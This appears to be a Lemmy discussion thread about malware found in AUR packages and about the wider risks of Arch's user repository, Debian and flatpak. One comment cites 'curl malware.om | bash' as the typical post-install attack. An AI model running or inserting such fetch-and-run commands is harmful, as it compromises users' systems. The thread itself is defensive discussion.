Ah yes, review the PKGBUILD for every AUR update. Luckily I do this while I’m rereading the ToS every time those get changed for all my software as well.
When I finish that I intend to read the changelog in git for each of the commits since the last update.
I always check with my contract lawyer before installing or updating from the AUR. It’s worth it for me.
God, even the Arch malware uses npm as a vector. And thus, my hatred of npm deepens even further
Tbf, it is run in package post install section so it could be anything even the typical “curl malware.om | bash”. There is a new wave of attacks now pulling things in with Bun which i guess is similar thing to NPM
I’m just a web guy whose tired of installing 10 xetabytes of 2 line libraries every time I wanna check out anything web related
Here’s a incomplete list:
https://gr.ht/aur_pkg_list.txt
I know some on Lemmy here use the RuneScape launcher.
For an automated script to help you check, you can use https://github.com/lenucksi/aur-malware-check to see if you’re infected.
Very useful, thanks.
Came up clear, fortunately.
Out of curiosity, did Arch send any notifications through pacman or anything? The first I heard of this was on Lemmy.
I haven’t seen anything through pacman though
Yeah…
Im just thinking: I was just doing my usual Linux things, and happened to not be on a Lemmy binge, I wouldn’t have seen this. I barely missed it, but could have been infected and had no idea.
I miss the browser, but luckily I haven’t played RS since the new CEO cancelled new Pride Events right after the Trump Admin was reelected.
Hilarious that it’s JavaScript again, truely npm, pypi and cargo are obvious targets. Also, guys, minimise your usage of the AUR! I don’t use any AUR packages.
Core > Extra > flathub >>>>>>>>>>>>> AUR
Not that core/extra/flathub can’t be pwned but it’s harder then the AUR.
I’m interested why flathub > AUR? I try to minimize AUR usage but always assumed it’s better than flathub?
Not the one you asked, but it’s a case of priorities:
- If you want it to just work, then the AUR is probably the better pick. Don’t get me wrong, through; most flatpaks should (mostly) work like how you’d expect them to behave natively.
- But, (Op)Sec-wise, the verified flatpaks win. No contest. Simply, because there’s no third party involved in the process. (And I haven’t even gone over flatpaks’ superior sandboxing.)
But mpv-git has some advantages… and edir, bat, rdo still not in the main repos.
Minimizing AUR usage doesn’t necessarily mean not using it at all, but I would weigh those advantages carefully against the risk it brings. I would also recommend the people who don’t know what they are doing to not use it at all.
What can be done to prevent this from happening to the AUR?
The AUR is unsafe by design. It’s not intended to be something you just install from willy-nilly. It’s intended to be a helpful way for arch users who know what they’re doing to exchange a convenient way to install arbitrary packages. But you should always be just as wary of it as copy/pasting shell code from a random person on the internet.
The AUR is kind of a trap. It can be useful but it has the warnings it has for a reason. Maintainers are not vetted so you depend on them both to be benevolent and competent and neither are reliable.
No one should really use it without taking the time to understand pkgbuild but you have people recommending AUR helpers like yay and tying AUR updates to regular system updates which is a terrible idea
paru always shows you the diff of the PKGBUILD on upgrade, so no need to worry about adding it to an alias that does both.
In fact, just running
paruis the same as runningpacman -Syu paru -SauAt the end I review the PKGBUILDs and make sure everything looks reasonable. Usually it’s just new source hashes, but not every time.
What do you mean by “tying AUR updates to system updates” ?
As in updating the AUR when you update your system packages, which come from known sources.
And just to be very explicit why this is an issue: each time the package is upgraded through an automated update, the PKGBUILD may change (e.g. to adapt to different dependencies, file structure, etc introduced with new app version).
That also means an AUR maintainer can smuggle in malware with any of those updates, even if you checked the original PKGBUiLD when you installed. And, anyone can request taking over maintenance for unmaintained packages, so it can even happen if the original maintainer was benevolent.
Always check PKGBUILD files on upgrade, even if just a glance. If I remember correctly yay had a function to always show you PKGBUILD diffs before updates, not sure if that was automatically enabled.
Paru shows them by default, and it’s basically impossible to disable.
It is a little too easy to skip past it, though.
Yeah, it’s never sat very well with me. I’ve gone through cycles where I’ll use a good bit of AUR, to none at all. I had been using a handful of things, but realized that almost all of it was Python stuff that I could more safely install with pip or uv, so I’ve migrated all of that. The one thing left is Manuskript, and it hardly gets updates anyway.
Paru shows you the diffs by default.
I just run
paruwhen I do system upgrades. Very convenient to have one command doing everything in a somewhat safe way.Of course, inspecting the PKGBUILDs still doesn’t protect us from having the actual software repositories compromised. Just because only the source hash changed doesn’t mean the software doesn’t have malware now.
That’s where I draw the line regarding trust. I don’t feel like going into to each release of each AUR package I have installed to check code to see if malware was injected. 😅
The way to prevent it is to get more stuff into the official repos so people aren’t forced to rely on AUR in the first place.
It depends. There are trusted well known packages and those can be trusted in my opinion. But I wouldn’t install any random package someone made.
And how would moving the packages into official repo solve anything? The reason it’s in the AUR is because the arch maintainers don’t have time to maintain packages.
in theory? getting rid of
paruand friends, manually reviewing the pkgbuild and the source of whatever it is installingrealistically? nothing. the AUR is a glorified repository of build scripts anyone can upload. the script or the package itself can ship malware
the AUR is mostly the same as downloading and running random exes on windows. you should avoid it, make it as manual as possible (forcing you to double check what’s happening) and be able to review the installer/package or trust someone who can vouch for its safety
paru shows you the PKGBUILD diffs on upgrade, so you can review then and deny upgrades.
But realistically I am not going to go into the code itself on my installed packages to check for malware or other types of attacks. That’s too time consuming for my risk level, and requires more knowledge than can be expected, to be honest.
Edit: but maybe you’re talking about when first installing a package? Come to think of it, I’m not sure it shows the PKGBUILD at that point. 🤔
the diff is noise in the potentially big update log. the point of doing it manually is forcing you to take your time and verify stuff one by one. also pkgbuild is just one place, seeing the hash changed means nothing if you don’t check what that archive contains, or seeing the install steps don’t change mean very little when the installer invokes other scripts anyway
i understand that you aren’t going to vet the source itself, but at that point you are exposing yourself to this kind of malware without mitigation. the aur is unsafe by design (fast way to publish a package without any involvement from anyone else) and should be avoided whenever possible. im not an arch hater, i too run arch
the diff is noise in the potentially big update log. the point of doing it manually is forcing you to take your time and verify stuff one by one.
I guess it depends on your discipline. If I’m already so inclined that I’d go to the lengths of forcing myself to check each package “manually”, I’m also going to be so disciplined to check each diff when paru pauses the upgrade process for me to do so. It’s the same thing for me.
also pkgbuild is just one place, seeing the hash changed means nothing if you don’t check what that archive contains, or seeing the install steps don’t change mean very little when the installer invokes other scripts anyway
Yup, and as I said, that’s where I draw the line with my trust and my threat level. I don’t have a lot of important data.
i understand that you aren’t going to vet the source itself, but at that point you are exposing yourself to this kind of malware without mitigation. the aur is unsafe by design (fast way to publish a package without any involvement from anyone else) and should be avoided whenever possible. im not an arch hater, i too run arch
Yup, I’m aware of the risks I’m taking. 🙂 That’s the important part to me. I really don’t have time to vet sources with two small kids and a full-time job, and hobbies and exercise every week. It’s impossible, and a sacrifice I’m willing and forced to make if I want some life balance. Quite a simple choice.
It does, the diff shows the full files.
Ah right, perfect. Thanks!
Installing a hook-package for checking as soon as it’s in the AUR.
Trying to escape surveillance capitalism while installing aur packages willy-nilly.
Are you one of the malicious actors? Thats some shit I’d expect to hear from the people doing this, trying to justify the attack by blaming the users for “capitalism”.
I am quite confused by your assumptions. I am just making a joke about people trying to avoid surveillance capitalism tools on one side and gleefully installing aur packages from random people on the other side, potentially making their surveillance exposure worse. I’m part of them some time because it’s too hard to verify everything everytime.
I tend to be a little antsy around anti-capitalists. Too many bad run-ins with Tankies.
i can empathize with those infected but it’s important to note that the source of this issue is still installing random stuff from random people. the aur is not the same as arch repos, and users wanting to opt in need to take more precautions than usual
That’s probably simply a more skeptical take of my own newbie perspective: the automated update systems on Linux are feeling increasingly scary since their maintainers can get hacked… I’m on Mint and I wish that the Update Manager would show changelogs per update, at least (even if those, too, can be fabricated)…
yikes, I’m glad I decided to switch to debian stable recently, not that it’s a foolproof system either
Yeah, it seems like these sort of problems aren’t necesarily due to an insecure system like the AUR but moreso because of the target’s publicity and popularity which is definitely the case with the rise of CachyOS.
Users can check if they’re already compromised withEDIT: No, sorry, alvr was just one of countless affected packages. Also, several is an understatement since a huge number of packages are affected.pacman -Q | grep alvrI think maybe?Post with more information here: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/thread/FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4/
Oh my, I’m new to Linux and I use CachyOS for my gaming rig at home. Most of the time I have no idea what I’m doing, but shit runs well and I’m happy about it. But how the hell do I check my noob ass if it’s compromised?!
I’m not real clear on if this is the case but you could try:
-
Have you installed or updated from the AUR before, such as with Yay? Specifically after June 5th? If so, check this list or the post above for a list of compromised packages. https://gr.ht/aur_pkg_list.txt
-
Maybe
pacman -Q | grep atomic-lockfilebecause that appears to be what the threat actor is installing but I’m not really sure if that’s how it works…?
EDIT: If you really want to play it safe then you could try
yay -R $(pacman -Qmq)to remove every aur package and wait out the storm, just be careful to backup important files.-
alvr as in the vr streaming program for standalone headsets? that’s kind of a niche among niches. Linux VR users with standalone vr headsets that use that specific method.
Sweats in “linux vr is one of my current hobby projects”
it’s going to be year of the linux vr soon anyway
I am so hyped for this actually
I panicked a bit when I saw the news earlier today as one of those niche guys. Then remembered I had removed it for WiVRn a few weeks ago and don’t have anything else off the AUR. Double niche win lol
EDIT: No, sorry, alvr was just one package, there is no specific source for the infection just one or many malicious users: https://gr.ht/aur_pkg_list.txt
I actually had the alvr bin aur installed on my old destop machine. Its just the only proper way for me on Quest to properly play any PCVR games. But i haven’t used nor updated that one in a while. My new arch machine luckily doesn’t have this installed but now im freaking out
Why is the atomic-lockfile thing not removed from npm?
This reminds me to remove the Fluxer AUR package I have
Why anyone is using Arch at this point is beyond me.
Every update is a potential failure waiting to happen. And on top of that, their user repos are infected with malware.
Yeah, I’m going to stick with Debian.
Of course the secondary opt-in user repo with unvetted package maintainers is infected with malware, it’d be a miracle if it weren’t! They warn as much in the docs. Use at your own risk, or package and maintain it yourself, because you’re likely not finding it packaged more reliably elsewhere.
And I love Debian, but if you think the Debian repos with 30,000+ packages and 1000+ community maintainers aren’t also infected with malware…
There hasn’t been a single reported incident so far. So, as far as we know… No. They aren’t infected.
And I trust the community of elders that take care of the Debian distro. They have been reliable and solid. They don’t just throw anything at the users on Stable. Even Testing is considered safer than most distributions.
Installing from the AUR on arch is nearly the equivalent of an install from a PPA on Debian.
Not even. The PPAs are created and hosted by very specific maintainers with very specific packages. So you have someone to blame and a single software to clean up if things go wrong. And word spreads fast. Yes, there’s a risk, but you can sort of judge how big of a risk it is.
Meanwhile with AUR, it’s just a giant repo in which anybody can just dump whatever. The risks are huge. If I were on Arch, I wouldn’t touch it for anything. I’d rather compile the source code myself for any software I need instead of getting it there.
Sure, I might have over simplified my comment by simply saying “PPA”, but custom repos on Debian have been a way to circumvent the slow release cycle for a very long time. And everyone here gets the comparison. When adding repos on Debian, you should verify the source just as one might from the AUR. I’d argue because of the slow release cycle, users find themselves looking for solutions to pull in newer software all the time and probably more than Arch. Both solutions are trying to solve the same problem - provide software not available officially - and both can be malicious.
I agree, once a user decides to take the effort to setup their Arch install to use the AUR, it’s much easier just start installing whatever without checking, and unfortunately that’s the price of freedom to having access to so much, so easily and so quickly. Some are pulling binaries, most are pulling git repos and building from source. Either way it’s pretty easy to see what’s going on by taking a quick look at the PKGBUILD and with care, it’s kinda awesome.
People didn’t downvote you because they don’t like Debian or disagree it’s stable. Or even because they are pretending the AUR is not dangerous. They downvoted you because you provided Debian as solution to using Arch in such a naive manner. It sounds like you think the AUR is the official Arch repo where users are getting their OS updates. I’m not going to lie and pretend arch updates haven’t provided me a headache from time to time, but overall it’s fantastic and there are distros of arch that provide a bit more of a buffer if you need it.
I’ve been using Debian since the late 90s. I still use it for all of my servers to this day. I have even used it as a workstation many times over the years. But the thing is, I always find myself adding non official repos, compiling my own kernels / pulling in custom kernels (sometimes) and building specific software from source before I consider it in working order. When you build a new workstation using newly released hardware, running vanilla Debian it can take years to get the point to allow you to use that hardware properly. Even on my servers, running on 4 year old hardware, I have a laundry list of “fixes” to get it where I need it to be. Just shell out thousands for a brand new gaming rig? It can be done, you can tweak a Debian vanilla install into a gaming powerhouse, getting a lot of the latest bells and whistles, but it takes effort and knowledge to do so. Desktop Linux is having a moment and it’s not a coincidence that valve switched from Debian to Arch.
We have multiple distros for a reason. Snaps flatpaks, app images, launchpad PPAs, and custom repos are all trying to fill that gap. Debian is awesome but not the solution to that specific problem.
deleted by creator
deleted by creator
Being critical towards operating system: Great
Actual argument: fair
Solution: oof
Debian is by all means great, for many things, but for a main pc? Shivers
Why shivers ?
It’s stable, it has a HUGE software repo (one of the largest ones if I’m not mistaken), third party software and drivers are almost always available as a Debian package, the community behind it is actually serious about making it safe and problem free. So what if some of the software is not bleeding edge? At least I can rest easy when I’m updating my system. I’ll almost never have any bad surprises like you get in Arch.
Arch just takes whatever the latest software is and throws it in the repos for the users to figure out if it breaks. Half the solutions you find in the wiki are half-baked solutions just to make things work, but are often not standard or even secure, leaving your system with security holes.
What makes this a fair argument? Debian not having an AUR analogue? It’s a shit response from someone who couldn’t even be bothered to look up any information on what the AUR is or how it’s supposed to be used. And what exactly is wrong with using debian on a “main pc”? If people want ancient packages with backported security patches they can knock themselves out. It doesn’t fit my requirements, but there’s nothing wrong with it either.
Its rather subjective but it wouldn’t be the first time updating arch has broken my system and its fair that some people don’t want to deal with that and much prefer some more mature.
And i have no qualms with people who do use debian for a main system but i do assume everyone who do are retired folk with a long career in computing behind them and aren’t in the market to change to another.
LOL! I’m not THAT old hahahahaha!
But that sounds about right. I work in IT and troubleshoot IT problems all day. The last thing I want to do is troubleshoot my PC when I get home. I just want an OS that works. Debian is the best in that regards.
The AUR is not the standard arch package repository and arch as a distro shouldn’t be judged by it’s merits or dangers. Yes, obviously a rolling release distro is not the best fit for most people, but that’s beside the point. Debian is completely fine for people who are looking to replace their windows machine with something stable and don’t need ton of exotic software or especially recent packages.
deleted by creator
Who is having breaking update issues anymore in 2026? I’ve been running vanilla Arch for 10 years and the only times that has happened (there have been a handful I guess) the archwiki says “hey there’s a breaking change run these 2 commands” and it’s fixed. As a beginner on Linux I actually switched to Arch because every Ubuntu issue I googled was 6 to 10 lines to fix while arch was 1 to 3 lines. The only problem is that the OS expects that you be able to read, which is sometimes tough.
I can’t imagine being on a system that is multiple major releases behind on basic things like nvim and python. I guess if you’re content not to use anything remotely current it makes sense.
Being behind a few releases isn’t that bad, honestly. At least you’re certain it’s going to be well tested and the majority of problems have been ironed out. And there’ll be documentation already on how to fix things or work around certain missing features if that ever occurs. It’s much less of a hassle.
@webghost0101 @ZombieCyborgFromOuterSpace You are weird.
I wouldn’t want to be perceived in any other way.
